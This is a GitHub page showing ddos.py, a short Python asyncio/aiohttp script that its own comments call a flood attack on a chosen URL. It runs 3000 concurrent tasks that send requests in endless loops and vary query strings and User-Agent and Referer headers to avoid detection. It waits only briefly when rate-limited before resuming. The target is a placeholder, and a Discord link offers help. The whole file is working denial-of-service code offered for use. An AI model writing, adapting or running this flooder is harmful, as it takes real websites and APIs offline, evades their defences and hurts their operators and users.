-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathddos.py
More file actions
50 lines (43 loc) · 1.92 KB
/
Copy pathddos.py
File metadata and controls
50 lines (43 loc) · 1.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import asyncio
import aiohttp
import random
import string
import time
# This script performs a flood attack on a specified URL using asynchronous HTTP requests.
# It uses random strings for query parameters and headers to avoid detection.
# If you have a problem, join my discord server: https://discord.gg/apiland
target_url = "https://example.com/api" # Replace with the actual target URL
total_tasks = 3000 # Number of concurrent tasks, for your server, you can increase this number
delay_on_429 = 3
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
"Mozilla/5.0 (X11; Linux x86_64)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X)",
"Mozilla/5.0 (Windows NT 6.1; WOW64)",
]
def random_string(length=10):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
async def flood(session, task_id):
while True:
try:
query = f"{random_string(5)}={random_string(10)}"
headers = {
"User-Agent": random.choice(user_agents),
"Referer": f"{target_url}?ref={random_string(5)}"
}
async with session.get(f"{target_url}?{query}", headers=headers) as resp:
if resp.status == 429:
print(f"[{task_id}] 429 Too Many Requests - sleeping")
await asyncio.sleep(delay_on_429)
else:
print(f"[{task_id}] {resp.status}")
except Exception as e:
print(f"[{task_id}] ERROR: {e}")
async def main():
timeout = aiohttp.ClientTimeout(total=5)
conn = aiohttp.TCPConnector(limit=0, force_close=False)
async with aiohttp.ClientSession(timeout=timeout, connector=conn) as session:
tasks = [flood(session, i) for i in range(total_tasks)]
await asyncio.gather(*tasks)
asyncio.run(main())